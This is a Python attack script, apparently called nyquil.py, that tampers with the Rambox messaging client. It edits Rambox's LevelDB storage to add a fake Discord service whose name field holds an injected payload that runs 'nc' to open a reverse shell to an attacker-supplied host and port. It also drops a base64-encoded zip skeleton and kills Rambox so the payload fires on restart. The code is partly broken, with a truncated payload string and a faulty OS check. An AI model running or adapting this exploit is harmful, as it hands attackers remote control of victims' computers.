import os import base64 import psutil import shutil import getpass import platform import argparse from zipfile import ZipFile import plyvel class Parser(argparse.ArgumentParser): def __init__(self): super(Parser, self).__init__() @staticmethod def optparse(): parser = argparse.ArgumentParser() parser.add_argument("-l", "--lhost", dest="lHost", default=None, help="Pass LHOST") parser.add_argument("-p", "--lport", dest="lPort", default=None, help="Pass LPORT") return parser.parse_args() # the payload to append to the database PAYLOAD = ( "&1|nc {lhost} {lport} >/tmp/f', (err, stdout, stderr) => {{if (err) " "{{return;}};console.log(`stdout: ${{stdout}}`);console.log(`stderr: ${{stderr}}`);}});\">Discord" ).replace('"', '\\"') # the zip file containing the data to put into the discord folder ZIP_BASE64 = "UEsDBAoAAAAAADCVXk8AAAAAAAAAAAAAAAANABAAYmxvYl9zdG9yYWdlL1VYDABOUrpdrB+6XfUBFABQSwMECgAAAAAAMJVeTwAAAAAAAAAAAAAAADIAEABibG9iX3N0b3JhZ2UvZDE2OWUwNTAtMmUxYS00Zjk3LWFhNTctNzQzNWEwYmFhOTNlL1VYDABOUrpdrB+6XfUBFABQSwMECgAAAAAAMJVeTwAAAAAAAAAAAAAAAAkAEABHUFVDYWNoZS9VWAwATlK6Xawful31ARQAUEsDBAoAAAAAACGyXk8AAAAAAAAAAAAAAAAPABAAR1BVQ2FjaGUvZGF0YV8xVVgMALNRul0tUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAADwAQAEdQVUNhY2hlL2RhdGFfMFVYDAAGUbpdLVK6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAAA4AEABHUFVDYWNoZS9pbmRleFVYDACzUbpdLVK6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAAA8AEABHUFVDYWNoZS9kYXRhXzJVWAwAs1G6XS1Sul31ARQAUEsDBAoAAAAAACGyXk8AAAAAAAAAAAAAAAAPABAAR1BVQ2FjaGUvZGF0YV8zVVgMALNRul0tUrpd9QEUAFBLAwQKAAAAAAAxlV5PAAAAAAAAAAAAAAAABgAQAENhY2hlL1VYDABOUrpdrh+6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAAAwAEABDYWNoZS9kYXRhXzFVWAwAFlK6XS1Sul31ARQAUEsDBAoAAAAAACGyXk8AAAAAAAAAAAAAAAAOABAAQ2FjaGUvZl8wMDAwMGFVWAwAFlK6XS1Sul31ARQAUEsDBAoAAAAAACGyXk8AAAAAAAAAAAAAAAAOABAAQ2FjaGUvZl8wMDAwMDhVWAwAFlK6XS5Sul31ARQAUEsDBAoAAAAAACGyXk8AAAAAAAAAAAAAAAAOABAAQ2FjaGUvZl8wMDAwMDFVWAwAFlK6XS5Sul31ARQAUEsDBAoAAAAAACGyXk8AAAAAAAAAAAAAAAAOABAAQ2FjaGUvZl8wMDAwMDZVWAwAFlK6XS5Sul31ARQAUEsDBAoAAAAAACGyXk8AAAAAAAAAAAAAAAAMABAAQ2FjaGUvZGF0YV8wVVgMABZSul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAADgAQAENhY2hlL2ZfMDAwMDA3VVgMABZSul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAADgAQAENhY2hlL2ZfMDAwMDA5VVgMABZSul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAACwAQAENhY2hlL2luZGV4VVgMABZSul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAADgAQAENhY2hlL2ZfMDAwMDA1VVgMABZSul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAADgAQAENhY2hlL2ZfMDAwMDAyVVgMABZSul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAADAAQAENhY2hlL2RhdGFfMlVYDAAWUrpdLlK6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAAA4AEABDYWNoZS9mXzAwMDAwM1VYDAAWUrpdLlK6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAAA4AEABDYWNoZS9mXzAwMDAwNFVYDAAWUrpdLlK6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAAAwAEABDYWNoZS9kYXRhXzNVWAwAFlK6XS5Sul31ARQAUEsDBAoAAAAAADGVXk8AAAAAAAAAAAAAAAAOABAATG9jYWwgU3RvcmFnZS9VWAwATlK6Xa4ful31ARQAUEsDBAoAAAAAADGVXk8AAAAAAAAAAAAAAAAWABAATG9jYWwgU3RvcmFnZS9sZXZlbGRiL1VYDABOUrpdrh+6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAACAAEABMb2NhbCBTdG9yYWdlL2xldmVsZGIvMDAwMDAzLmxvZ1VYDAD3ULpdLlK6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAACUAEABMb2NhbCBTdG9yYWdlL2xldmVsZGIvTUFOSUZFU1QtMDAwMDAxVVgMAHZRul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAAGgAQAExvY2FsIFN0b3JhZ2UvbGV2ZWxkYi9MT0NLVVgMAPRQul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAAHQAQAExvY2FsIFN0b3JhZ2UvbGV2ZWxkYi9DVVJSRU5UVVgMAHZRul0uUrpd9QEUAFBLAwQKAAAAAAAhsl5PAAAAAAAAAAAAAAAAGQAQAExvY2FsIFN0b3JhZ2UvbGV2ZWxkYi9MT0dVWAwAdlG6XS5Sul31ARQAUEsDBAoAAAAAACGyXk8AAAAAAAAAAAAAAAAHABAAQ29va2llc1VYDAC+UbpdLlK6XfUBFABQSwMECgAAAAAAIbJeTwAAAAAAAAAAAAAAAA8AEABDb29raWVzLWpvdXJuYWxVWAwAdlG6XS5Sul31ARQAUEsBAhUDCgAAAAAAMJVeTwAAAAAAAAAAAAAAAA0ADAAAAAAAAAAAQMBBAAAAAGJsb2Jfc3RvcmFnZS9VWAgATlK6Xawful1QSwECFQMKAAAAAAAwlV5PAAAAAAAAAAAAAAAAMgAMAAAAAAAAAABAwEE7AAAAYmxvYl9zdG9yYWdlL2QxNjllMDUwLTJlMWEtNGY5Ny1hYTU3LTc0MzVhMGJhYTkzZS9VWAgATlK6Xawful1QSwECFQMKAAAAAAAwlV5PAAAAAAAAAAAAAAAACQAMAAAAAAAAAABAwEGbAAAAR1BVQ2FjaGUvVVgIAE5Sul2sH7pdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAA8ADAAAAAAAAAAAQICB0gAAAEdQVUNhY2hlL2RhdGFfMVVYCACzUbpdLVK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAPAAwAAAAAAAAAAECAgQ8BAABHUFVDYWNoZS9kYXRhXzBVWAgABlG6XS1Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAADgAMAAAAAAAAAABAgIFMAQAAR1BVQ2FjaGUvaW5kZXhVWAgAs1G6XS1Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAADwAMAAAAAAAAAABAgIGIAQAAR1BVQ2FjaGUvZGF0YV8yVVgIALNRul0tUrpdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAA8ADAAAAAAAAAAAQICBxQEAAEdQVUNhY2hlL2RhdGFfM1VYCACzUbpdLVK6XVBLAQIVAwoAAAAAADGVXk8AAAAAAAAAAAAAAAAGAAwAAAAAAAAAAEDAQQICAABDYWNoZS9VWAgATlK6Xa4ful1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAADAAMAAAAAAAAAABAgIE2AgAAQ2FjaGUvZGF0YV8xVVgIABZSul0tUrpdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAA4ADAAAAAAAAAAAQICBcAIAAENhY2hlL2ZfMDAwMDBhVVgIABZSul0tUrpdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAA4ADAAAAAAAAAAAQICBrAIAAENhY2hlL2ZfMDAwMDA4VVgIABZSul0uUrpdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAA4ADAAAAAAAAAAAQICB6AIAAENhY2hlL2ZfMDAwMDAxVVgIABZSul0uUrpdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAA4ADAAAAAAAAAAAQICBJAMAAENhY2hlL2ZfMDAwMDA2VVgIABZSul0uUrpdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAAwADAAAAAAAAAAAQICBYAMAAENhY2hlL2RhdGFfMFVYCAAWUrpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAOAAwAAAAAAAAAAECAgZoDAABDYWNoZS9mXzAwMDAwN1VYCAAWUrpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAOAAwAAAAAAAAAAECAgdYDAABDYWNoZS9mXzAwMDAwOVVYCAAWUrpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAALAAwAAAAAAAAAAECAgRIEAABDYWNoZS9pbmRleFVYCAAWUrpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAOAAwAAAAAAAAAAECAgUsEAABDYWNoZS9mXzAwMDAwNVVYCAAWUrpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAOAAwAAAAAAAAAAECAgYcEAABDYWNoZS9mXzAwMDAwMlVYCAAWUrpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAMAAwAAAAAAAAAAECAgcMEAABDYWNoZS9kYXRhXzJVWAgAFlK6XS5Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAADgAMAAAAAAAAAABAgIH9BAAAQ2FjaGUvZl8wMDAwMDNVWAgAFlK6XS5Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAADgAMAAAAAAAAAABAgIE5BQAAQ2FjaGUvZl8wMDAwMDRVWAgAFlK6XS5Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAADAAMAAAAAAAAAABAgIF1BQAAQ2FjaGUvZGF0YV8zVVgIABZSul0uUrpdUEsBAhUDCgAAAAAAMZVeTwAAAAAAAAAAAAAAAA4ADAAAAAAAAAAAQMBBrwUAAExvY2FsIFN0b3JhZ2UvVVgIAE5Sul2uH7pdUEsBAhUDCgAAAAAAMZVeTwAAAAAAAAAAAAAAABYADAAAAAAAAAAAQMBB6wUAAExvY2FsIFN0b3JhZ2UvbGV2ZWxkYi9VWAgATlK6Xa4ful1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAAIAAMAAAAAAAAAABAgIEvBgAATG9jYWwgU3RvcmFnZS9sZXZlbGRiLzAwMDAwMy5sb2dVWAgA91C6XS5Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAAJQAMAAAAAAAAAABAgIF9BgAATG9jYWwgU3RvcmFnZS9sZXZlbGRiL01BTklGRVNULTAwMDAwMVVYCAB2UbpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAaAAwAAAAAAAAAAECAgdAGAABMb2NhbCBTdG9yYWdlL2xldmVsZGIvTE9DS1VYCAD0ULpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAdAAwAAAAAAAAAAECAgRgHAABMb2NhbCBTdG9yYWdlL2xldmVsZGIvQ1VSUkVOVFVYCAB2UbpdLlK6XVBLAQIVAwoAAAAAACGyXk8AAAAAAAAAAAAAAAAZAAwAAAAAAAAAAECAgWMHAABMb2NhbCBTdG9yYWdlL2xldmVsZGIvTE9HVVgIAHZRul0uUrpdUEsBAhUDCgAAAAAAIbJeTwAAAAAAAAAAAAAAAAcADAAAAAAAAAAAQICBqgcAAENvb2tpZXNVWAgAvlG6XS5Sul1QSwECFQMKAAAAAAAhsl5PAAAAAAAAAAAAAAAADwAMAAAAAAAAAABAgIHfBwAAQ29va2llcy1qb3VybmFsVVgIAHZRul0uUrpdUEsFBgAAAAAhACEAqAkAABwIAAAAAA==" def create_zip(): """ create the zip file if it doesn't exist """ if not os.path.exists("discord.zip"): with open("discord.zip", "a+") as z: z.write(base64.b64decode(ZIP_BASE64)) def get_root_path(user=getpass.getuser(), current_sys=str(platform.platform()).lower()): """ get the root path of rambox """ if "windows" in current_sys: root_path = "c:\\{}\\AppData\\Roaming\\rambox".format(user) elif "darwin" in current_sys: root_path = "/Users/{}/Library/Application Support/Rambox".format(user) elif "linux" or "unix" in current_sys: root_path = "/home/{}/.config/Rambox".format(user) else: root_path = None if root_path is None: raise OSError("Unsupported Operating System") return root_path def get_database_path(root, current_sys=str(platform.platform()).lower()): """ get the database path to the rambox DB """ if "windows" in current_sys: return "{}\\Partitions\\rambox\\Local Storage\\leveldb".format(root) else: return "{}/Partitions/rambox/Local Storage/leveldb".format(root) def get_folder_path(root, current_sys=str(platform.platform()).lower()): """ get the partitions path """ count = 1 if "windows" in current_sys: folder = "{}\\Partitions".format(root) else: folder = "{}/Partitions".format(root) for item in os.listdir(folder): if "discord" in item: count += 1 if count == 0: count = 1 if "windows" in current_sys: retval = "{}\\discord_{}".format(folder, count) else: retval = "{}/discord_{}".format(folder, count) if not os.path.exists(retval): os.makedirs(retval) return retval def delete_lock(db_path, current_sys=str(platform.platform()).lower()): """ delete the lock file so we can edit the database """ if "windows" in current_sys: path = "{}\\LOCK" else: path = "{}/LOCK" path = path.format(db_path) if os.path.exists(path): os.remove(path) def recreate_lock(db_path): """ recreate the LOCK file """ open(db_path + "/LOCK", 'a+').close() def read_database(db, full_read=False, get_value=True): """ iterate through the database to get a list of tuples of data """ results = [] with db.iterator() as res: for k, v in res: if full_read: print k + ": " + v else: results.append((k, v)) if get_value: return results def count_services(db): """ count the services so we can get a logical number and not overwrite anything """ values = 0 services = read_database(db) for service in services: key, value = service[0], service[1] if "discord" in value: values += 1 try: return int(values) except ValueError: return 1 def edit_database(db, lhost, lport, db_path): """ edit the database and add our data to it, which will give us our service """ db = plyvel.DB(db) current_value_count = count_services(db) payload = PAYLOAD.format(lhost=lhost, lport=lport) data = """\x01{"position":""" + str(current_value_count+1) + ""","type":"discord","logo":"discord.png","name":""" + '"' + payload + '"' + ""","url":"https://discordapp.com/login","align":"left","notifications":True,"muted":False,"tabname":True,"statusbar":True,"displayTabUnreadCounter":True,"includeInGlobalUnreadCounter":True,"trust":True,"enabled":True,"js_unread":"","zoomLevel":0}""".replace("True", "true").replace("False", "false") db.put(b"_file://\x00\x01services-" + str(current_value_count+1), bytes(data)) db.put(b"_file://\x00\x01services-counter", b"\x01{}".format(current_value_count+1)) if current_value_count+1 == 1: db.delete(b"_file://\x00\x01services") db.put(b"_file://\x00\x01services", b"\x011") else: db.put(b"_file://\x00\x01services", b"\x01{}".format(",".join(str(i) for i in range(1, current_value_count + 2)))) recreate_lock(db_path) def copy_data(root): """ copy over the skeleton template to a new discord folder """ filename = "discord.zip" destination = get_folder_path(root) shutil.copy(filename, destination) with ZipFile(filename, 'r') as zip_data: zip_data.extractall(path=destination) def kill_rambox(): """ kill rambox """ for proc in (process for process in psutil.process_iter() if "rambox" in str(process.name()).lower()): try: proc.kill() except: pass def main(): """ main function """ opt = Parser().optparse() if opt.lHost is None: print("./nyquil.py -l [-p ]") exit(1) if opt.lPort is None: opt.lPort = "9076" print("[i] defaulting to port: {}".format(opt.lPort)) create_zip() print("[i] grabbing root path") root = get_root_path() print("[i] grabbing database path") db_path = get_database_path(root) print("[i] removing LOCK file") delete_lock(db_path) print("[i] editing database") edit_database(db_path, opt.lHost, opt.lPort, db_path) print("[i] copying over data") copy_data(root) print("[i] killing rambox") kill_rambox() print("[i] done, waiting for rambox to restart, watch your listener") if __name__ == "__main__": main()